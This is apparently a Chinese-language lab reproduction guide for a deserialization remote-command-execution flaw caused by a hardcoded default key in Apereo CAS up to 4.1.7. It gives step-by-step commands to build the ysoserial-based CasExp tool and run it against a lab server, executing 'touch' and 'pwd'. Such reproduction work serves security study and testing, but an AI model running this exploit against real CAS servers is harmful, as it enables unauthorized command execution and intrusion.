漏洞簡介
Apereo CAS 是一款Apereo釋出的集中認證服務平台,常被用于企業内部單點登入系統。其4.1.7版本之前存在一處預設密鑰的問題,利用這個預設密鑰我們可以構造惡意資訊觸發目标反序列化漏洞(寫死導緻的漏洞),進而執行任意指令。
版本: Apereo CAS <= 4.1.7
環境搭建
拉docker環境之後通路web界面
http://127.0.0.1:8080/cas/login
下載下傳安裝相關工具
1、安裝 jdk 1.8 ,配置好系統環境變量
2、安裝 maven ,配置好系統環境變量
下載下傳連結:
https://maven.apache.org/download.cgi
檢視安裝情況
mvn --version
3、下載下傳ysoserial-master-4df2ee2bb5-1.jar
連結: https://jitpack.io/com/github/frohoff/ysoserial/master-4df2ee2bb5-1/ysoserial-master-4df2ee2bb5-1.jar
将其安裝到本地Maven
注意更改檔案位置:
mvn org.apache.maven.plugins:maven-install-plugin:2.5.2:install-file -Dfile=ysoserial-master-4df2ee2bb5-1.jar -DgroupId=ysoserial -DartifactId=ysoserial -Dversion=0.0.6 -Dpackaging=jar -DlocalRepositoryPath=my-repo
4、下載下傳 CasExp 項目源碼
連結: https://codeload.github.com/potats0/CasExp/zip/master
切換到CasExp-master檔案,将pom.xml打包成jar檔案 mvn clean package assembly:single
檢視jar檔案
漏洞複現
使用打包好的CasExp進行遠端指令執行
java -jar CasPoc-1.0-SNAPSHOT-jar-with-dependencies.jar http://192.168.5.129:8080/cas/login "touch /opt/Apereo"
登入虛拟機檢視Apereo已建立
執行有回顯的指令:
java -jar CasPoc-1.0-SNAPSHOT-jar-with-dependencies.jar http://192.168.5.129:8080/cas/login "pwd"
或者生成payload抓包替換execution值:
下載下傳工具:
https://codeload.github.com/potats0/CasExp/zip/master